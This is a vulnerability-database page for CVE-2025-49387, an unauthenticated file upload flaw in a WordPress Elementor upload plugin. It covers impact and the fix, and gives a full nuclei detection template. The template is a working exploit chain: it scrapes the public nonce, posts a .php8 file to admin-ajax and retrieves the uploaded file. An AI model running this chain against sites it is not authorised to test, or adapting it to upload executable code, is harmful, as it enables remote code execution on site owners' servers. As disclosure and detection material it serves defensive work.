HexBrain

Browse / CVEs / CVE-2025-49387

CVE-2025-49387· add-ons.org / drag-and-drop-file-upload-for-elementor-forms· CWE-434

WordPress Drag and Drop File Upload for Elementor Forms <=1.5.3 - Unauthenticated Arbitrary File Upload

criticalseverity
10CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it

The Drag and Drop File Upload for Elementor Forms plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 1.5.3. The elementor_file_upload AJAX handler, accessible to unauthenticated users via the wp_ajax_nopriv hook, validates file extensions using only a filename-based pathinfo check against an incomplete blacklist. The blacklist omits .php8 (among other extensions), allowing unauthenticated attackers to upload files with non-blacklisted dangerous extensions. The nonce required for the upload is exposed on public-facing pages via wp_localize_script, making the entire upload flow unauthenticated. The patched version (1.5.4) adds wp_check_filetype_and_ext() for content-based validation and uses wp_handle_upload(), rejecting files whose content does not match recognized MIME types.

Impact

An unauthenticated attacker can upload files with dangerous extensions (e.g., .php8) to a predictable web-accessible path. On servers configured to process .php8 as PHP (via AddHandler or PHP-FPM patterns), this results in remote code execution. On default configurations, the uploaded file is served as-is, potentially enabling stored XSS or other attacks depending on the file content.

Fix

Update the Drag and Drop File Upload for Elementor Forms plugin to version 1.5.4 or later, which implements content-based file type validation via wp_check_filetype_and_ext().

How to confirm it

Send: GET /
Positive when: contains "elementor_file_upload"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, "\"status\":\"ok\"") and contains(body, ".php8")
Send: GET /wp-content/uploads/elementor/forms/uploads/{{uploaded_file}}
Positive when: status_code == 200 and contains(body, "CVE-2025-49387-")

Run it with nuclei: nuclei -id CVE-2025-49387 -u <target>

The full check
id: CVE-2025-49387

info:
  name: WordPress Drag and Drop File Upload for Elementor Forms <=1.5.3 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    The Drag and Drop File Upload for Elementor Forms plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 1.5.3. The elementor_file_upload AJAX handler, accessible to unauthenticated users via the wp_ajax_nopriv hook, validates file extensions using only a filename-based pathinfo check against an incomplete blacklist. The blacklist omits .php8 (among other extensions), allowing unauthenticated attackers to upload files with non-blacklisted dangerous extensions. The nonce required for the upload is exposed on public-facing pages via wp_localize_script, making the entire upload flow unauthenticated. The patched version (1.5.4) adds wp_check_filetype_and_ext() for content-based validation and uses wp_handle_upload(), rejecting files whose content does not match recognized MIME types.
  impact: |
    An unauthenticated attacker can upload files with dangerous extensions (e.g., .php8) to a predictable web-accessible path. On servers configured to process .php8 as PHP (via AddHandler or PHP-FPM patterns), this results in remote code execution. On default configurations, the uploaded file is served as-is, potentially enabling stored XSS or other attacks depending on the file content.
  remediation: |
    Update the Drag and Drop File Upload for Elementor Forms plugin to version 1.5.4 or later, which implements content-based file type validation via wp_check_filetype_and_ext().
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49387
    - https://patchstack.com/database/wordpress/plugin/drag-and-drop-file-upload-for-elementor-forms/vulnerability/wordpress-drag-and-drop-file-upload-for-elementor-forms-plugin-1-5-3-arbitrary-file-upload-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-49387
    epss-score: 0.01484
    epss-percentile: 0.74211
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: add-ons.org
    product: drag-and-drop-file-upload-for-elementor-forms
    framework: wordpress
    shodan-query: http.component:"WordPress"
    fofa-query: body="wp-content/plugins/drag-and-drop-file-upload-for-elementor-forms"
  tags: cve,cve2025,wordpress,wp-plugin,wp,file-upload,upload,rce,drag-and-drop-file-upload-for-elementor-forms,intrusive,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        internal: true
        regex:
          - '"nonce":"([a-f0-9]+)"'

    matchers:
      - type: word
        words:
          - "elementor_file_upload"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCVE202549387

        ------WebKitFormBoundaryCVE202549387
        Content-Disposition: form-data; name="action"

        elementor_file_upload
        ------WebKitFormBoundaryCVE202549387
        Content-Disposition: form-data; name="nonce"

        {{nonce}}
        ------WebKitFormBoundaryCVE202549387
        Content-Disposition: form-data; name="size"

        10
        ------WebKitFormBoundaryCVE202549387
        Content-Disposition: form-data; name="type"

        php8
        ------WebKitFormBoundaryCVE202549387
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php8"
        Content-Type: application/octet-stream

        CVE-2025-49387-{{randstr}}
        ------WebKitFormBoundaryCVE202549387--

    extractors:
      - type: regex
        name: uploaded_file
        part: body
        group: 1
        internal: true
        regex:
          - '([a-f0-9]+-[a-zA-Z0-9]+\.php8)'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"status\":\"ok\"")'
          - 'contains(body, ".php8")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/elementor/forms/uploads/{{uploaded_file}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2025-49387-")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from